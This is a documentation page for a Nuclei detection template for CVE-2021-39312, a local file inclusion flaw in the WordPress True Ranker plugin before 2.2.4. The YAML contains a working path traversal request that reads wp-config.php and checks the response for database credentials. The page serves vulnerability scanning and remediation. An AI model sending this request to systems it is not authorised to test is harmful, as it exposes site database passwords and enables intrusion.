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WordPress True Ranker <2.2.4 - Local File Inclusion

ID: CVE-2021-39312

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2021,unauth,lfr,wpscan,wp-plugin,lfi,wp,wordpress,trueranker

Description

Section titled “Description”

WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.

YAML Source

Section titled “YAML Source”
id: CVE-2021-39312


info:
  name: WordPress True Ranker <2.2.4 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.
  remediation: Fixed in version 2.2.4
  reference:
    - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312
    - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39312
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39312
    cwe-id: CWE-22
    epss-score: 0.16864
    epss-percentile: 0.95927
    cpe: cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: trueranker
    product: true_ranker
    framework: wordpress
  tags: cve,cve2021,unauth,lfr,wpscan,wp-plugin,lfi,wp,wordpress,trueranker


http:
  - raw:
      - |
        POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100991d15a8f8a8b9ccde59500bbc5f3715831faeec87a0c94dcf737634b9b0f518022100bb9424054e0c855d0f3e80af31e8d52bcd5b41c5c7522a0b4f1b13fa5f9223c2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39312.yaml"

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